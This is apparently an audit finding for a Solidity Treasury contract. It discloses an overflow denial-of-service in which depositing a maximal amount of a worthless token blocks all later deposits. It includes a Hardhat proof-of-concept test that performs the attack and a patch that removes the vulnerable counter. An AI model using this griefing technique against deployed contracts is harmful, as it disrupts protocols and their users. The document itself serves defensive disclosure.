Summary
The Treasury allows any tokens to be deposited by anyone. If a huge number of worthless tokens are deposited, all other deposits will fail.
Finding Description
In Treasury.sol, the deposit function accepts any token. When it is deposited, it sums the total number of units deposited across all token types:
function deposit(address token, uint256 amount) external override nonReentrant {
...
_totalValue += amount;
...
}
Source: Treasury.sol#L52
Without any sort of allow list for which tokens may be used here, this effectively allows anyone to use worthless or fake ERC20 contracts in order to submit any amount they like. Once the _totalValue is at or close to uint256.max, all future attempts to deposit will revert due to an overflow.
Impact Explanation
If someone deposits worthless tokens into the Treasury, the Treasury is effectively useless.
An attacker can call deposit with their worthless tokens anytime in order to block real deposits from occurring. This could be periodic or as a frontrun for incoming deposits.
Withdraws still work so funds are not trapped, we just cannot deposit again. If the manager withdraws the worthless tokens, deposits will function again.. until the attack is repeated.
Likelihood Explanation
This is a 0 cost way to grief the system (other than a little gas costs). Once exposed, someone may do this just to disrupt the protocol.
Proof of Concept
The following git patch updates the Treasury test file to show that any token may be deposited, allowing a huge number of worthless tokens to be deposited. Then any real attempts to deposit will revert. Run with npm run test:unit:collectors.
diff --git a/test/unit/core/collectors/Treasury.test.js b/test/unit/core/collectors/Treasury.test.js
index 7f27080..eb0ffc2 100644
--- a/test/unit/core/collectors/Treasury.test.js
+++ b/test/unit/core/collectors/Treasury.test.js
@@ -1,6 +1,7 @@
import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
+import { PANIC_CODES } from "@nomicfoundation/hardhat-chai-matchers/panic.js";
describe("Treasury", () => {
let treasury;
@@ -32,6 +33,29 @@ describe("Treasury", () => {
await treasury.grantRole(ALLOCATOR_ROLE, allocator.address);
});
+ it.only("Bug", async () => {
+ const legitUser = user1;
+ const attacker = user2;
+
+
+ let worthlessScamCoin;
+ {
+ const MockToken = await ethers.getContractFactory("MockToken");
+ worthlessScamCoin = await MockToken.deploy("Worthless Scam", "SCAM", 18);
+ await worthlessScamCoin.mint(attacker.address, ethers.MaxUint256);
+ }
+
+
+ await worthlessScamCoin.connect(attacker).approve(treasury.target, ethers.MaxUint256);
+ await treasury.connect(attacker).deposit(worthlessScamCoin.target, ethers.MaxUint256);
+
+
+ await token.connect(legitUser).approve(treasury.target, ethers.MaxUint256);
+ await expect(
+ treasury.connect(legitUser).deposit(token.target, ethers.parseEther("1"))
+ ).to.be.revertedWithPanic(PANIC_CODES.ARITHMETIC_OVERFLOW)
+ })
+
describe("Access Control", () => {
it("should set correct roles on deployment", async () => {
expect(await treasury.hasRole(MANAGER_ROLE, manager.address)).to.be.true;
Recommendation
Remove getTotalValue() and uint256 _totalValue from this contract. Different tokens have wildly different conversion rates, so _totalValue does not report anything useful in it's current state.
Here is the git patch updating ITreasury and Treasury:
When applied, the POC test above fails (since the it no longer reverts).
@@ -24,7 +24,6 @@ contract Treasury is ITreasury, AccessControl, ReentrancyGuard {
// State variables
mapping(address => uint256) private _balances; // Token balances
mapping(address => mapping(address => uint256)) private _allocations; // Allocator => recipient => amount
- uint256 private _totalValue; // Total value across all tokens
/**
* @notice Initializes the Treasury contract with admin roles
@@ -49,7 +48,6 @@ contract Treasury is ITreasury, AccessControl, ReentrancyGuard {
IERC20(token).transferFrom(msg.sender, address(this), amount);
_balances[token] += amount;
- _totalValue += amount;
emit Deposited(token, amount);
}
@@ -71,7 +69,6 @@ contract Treasury is ITreasury, AccessControl, ReentrancyGuard {
if (_balances[token] < amount) revert InsufficientBalance();
_balances[token] -= amount;
- _totalValue -= amount;
IERC20(token).transfer(recipient, amount);
emit Withdrawn(token, amount, recipient);
@@ -95,14 +92,6 @@ contract Treasury is ITreasury, AccessControl, ReentrancyGuard {
emit FundsAllocated(recipient, amount);
}
- /**
- * @notice Gets total value held by treasury
- * @return Total value across all tokens
- */
- function getTotalValue() external view override returns (uint256) {
- return _totalValue;
- }
-
/**
* @notice Gets balance of specific token
* @param token Address of token to check
@@ -40,12 +40,6 @@ interface ITreasury {
* @notice View functions
*/
- /**
- * @notice Gets total value held by treasury
- * @return Total value across all tokens
- */
- function getTotalValue() external view returns (uint256);
-
/**
* @notice Gets balance of specific token
* @param token Address of token to check
Alternatively getTotalValue could be made useful, for example if an oracle was used to approximate the USD value of each deposit. Then _totalValue could represent the approx total USD value in escrow. But tracking like this may be better done by an off-chain backend watching Deposit and Withdrawn events.
